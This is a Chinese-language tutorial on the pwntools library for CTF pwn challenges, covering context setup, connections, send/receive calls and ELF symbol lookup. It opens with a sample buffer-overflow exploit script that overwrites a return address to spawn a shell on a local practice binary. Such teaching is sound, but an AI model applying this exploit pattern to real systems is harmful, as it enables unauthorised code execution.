Pwntools的编写示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(log_level='debug',arch='i386', os='linux')
pwnfile= './question_4_3_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)


padding = 0x14
#padding = padding2ebp + context.word_size//8 #通过调试得到

gdb.attach(io)
pause()

return_addr = 0x0804919B
sh_addr = 0x804C03A

payload = b'a'* padding + p32(return_addr) + p32(sh_addr)


#payload = flat(['a'*padding, return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()

导入pwn库

  • 在使用Python打pwn题,首先需要引入pwn库
1
2
from pwn import *
import pwn

设定架构

  • 不同的pwn是偏底层,偏向硬件,不同硬件的会存在一些差异,这个时候就需要,在所编写的程序中设定一下架构,之后的指令、数据的形式就能与所使用架构统一

设定处理器架构

  • 格式context.arch = 'amd64'
  • 下面是一些常用架构
    • amd64x86_64:表示64位x86架构,现代大多数桌面和服务器系统使用的架构
    • i386x86:表示32位x86架构。虽然较旧,但在某些嵌入式系统和旧式硬件上仍然常见
    • armarrch64:表示ARM架构,常见于移动设备和其他嵌入式系统
    • mips:表示MIPS架构,在某些路由器和网络设备上使用
    • mips64:表示64位MIPS架构
1
2
from pwn import *
context.arch = 'amd64'

设定操作系统

  • 格式 context.os = 'Linux'

  • 常见的操作系统

    • linux:pwn的入门一开始一般都是linux的pwn
    • windows:Windows常见操作系统,作为进阶的pwn
    • freebsd:表示目标操作系统是 FreeBSD。虽然不像 Linux 那么常见,但 FreeBSD 也是一个流行的开源 UNIX-like 操作系统。
    • netbsd:表示目标操作系统是 NetBSD。NetBSD 也是一个开源的 UNIX-like 操作系统。
    • openbsd:表示目标操作系统是 OpenBSD。OpenBSD 是一个注重安全性和隐私的 UNIX-like 操作系统。
    • 剩下的看官方文档
1
2
from pwn import *
context.arch = 'amd64'

设定大小端序

  • 大小端序这里不做说明

  • 格式 context.endian = 'little'

1
2
3
4
5
from pwn import *
# 小端序
context.endian = 'little'
# 大端序
context.endian = 'big'

设定日志记录的级别

  • 格式 context.log_level = 'debug'
  • 日志记录用于追踪和记录软件程序运行时的活动。包括用户交互、系统事件、错误和警告、调试信息、性能数据等。
  • 日志记录的级别
    • critical:仅记录严重错误消息,这通常是程序无法继续运行的情况
    • error:记录错误信息,表示出现了某些问题,但程序可能仍然能够继续运行
    • warning:记录可能需要注意的潜在问题或不正常的情况
    • debug:记录详细的调试信息,包括内部调试状态和函数调用等
1
2
3
4
context.log_level = 'debug'
context.log_level = 'critical'
context.log_level = 'error'
context.log_level = 'warning'

连接题目

  • 在使用Python打pwn题的时候,需要与题目连接,运行题目的程序

远程连接题目

  • 在CTF比赛中打pwn题都会使用靶机,这时就需要通过网络进行远程连接
1
2
3
4
5
6
7
8
9
from pwn import *
# 远程连接题目
r = remote('0.0.0.0',20445)
# r是连接的对象
# 格式:remote('host',port)
# host可以是ip或者域名
# ip就是靶机的ip地址
# 域名就是网站的名字例如:www.baidu.com,这个就是百度的网站名字
# port就是端口号
  • 注意:host是字符串类型,而port是整型

本地连接题目

  • 有的时候,将题目附件下载到本地进行复现或者调试,这就需要对本地的题目进行连接
1
2
3
4
5
6
from pwn import *
# 本地连接
r = process('./pwn1')
# r是连接的对象
# 格式:process('题目位置和题目名字')
# 这里的./pwn1是当前目录下名为pwn1的程序,./表示当前目录

与靶机进行交互

  • 在pwn成功的时候,获取控制权,这时需要用户对远程靶机或者是本地的终端进行交互,这样才能输入 ls、cat flag等命令
1
2
3
from pwn import *
r = remote('0.0.0.0',25875)
r.interactive()

接收文字

  • 在程序中有用户对程序的输入,也有程序对用户的输出。
  • 那么要将程序的输入在自己的终端中显示,就需要接收文字
1
2
3
4
5
6
7
8
9
# 'recv'系列
from pwn import *
r = remote('0.0.0.0',25875)
r.recv() # 接收一个字节
r.recvline() # 接收一行
r.recvlines(num) # 接受num数量的行
r.recvuntil(str) # 一直接收直到碰到(str)
clean() # 丢弃所有缓冲的数据
r.recvrepeat(timeout) # 继续接收数据,直到发生超时

发送文字

  • 对于pwn题,核心就是要发送所要的数据,使程序按照预期的漏洞执行
1
2
3
4
5
6
# 'send'系列
from pwn import *
r = remote('0.0.0.0',25875)
r.send(payload) # 发送payload
r.sendline(payload) # 发送payload后加上换行符
r.sendlineafter('hello world',payload) # 在接收到hello world后再发送payload

ELF对文件操作

对libc文件的操作

  • 在pwn中有一些题目,附件上会有一个 libc.so文件,常见的基础题型就是ret2libc,这时就需要对 libc.so文件进行一些操作。
1
2
from pwn import *
e = ELF('libc.so.6')

对ELF文件的操作

查看文件

  • ELF文件是按路径加载的。
  • 被加载后的ELF文件,一些与安全有关的文件属性被打印出来
1
2
from pwn import *
e = ELF('./ret2libc')

image-20240329223435262

使用符号表

  • ELF文件有几组不同的符号表可以用,每组都包含在{name: data}的字典中

ELF.symbols

列出所有已知的符号,包括下面的符号。优先考虑PLT条目而不是GOT条目。

1
2
3
from pwn import *
e = ELF('./ret2libc')
print(e.symbols)

image-20240329224723716

  • 可以使用ELF.symbols,列出单个符号表
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
e = ELF('./ret2libc')
print(e.symbols['stdin'])
# 输出:4210768
# 输出的是以10进制显示stdin在ELF文件中的地址

# 还可以使用格式化字符串的形式输出
from pwn import *
e = ELF('./ret2libc')
print('%#x -> stdin'%e.symbols['stdin'])
# 输出:0x404050 -> stdin
# 输出的是以16进制显示stdin在ELF文件中的地址

ELF.got

  • 只包含GOT表
1
2
3
4
from pwn import *
e = ELF('./ret2libc')
print(e.got)
# 列出单个符号表的方式同上

image-20240329225746582

ELF.plt

  • 只包含PLF表

对ROP链的编写

开启动调

  • 在本地调试文件的时候可以用Python启动exp,再开启gdb进行动态调试
1
2
gdb.attach(io)
pause()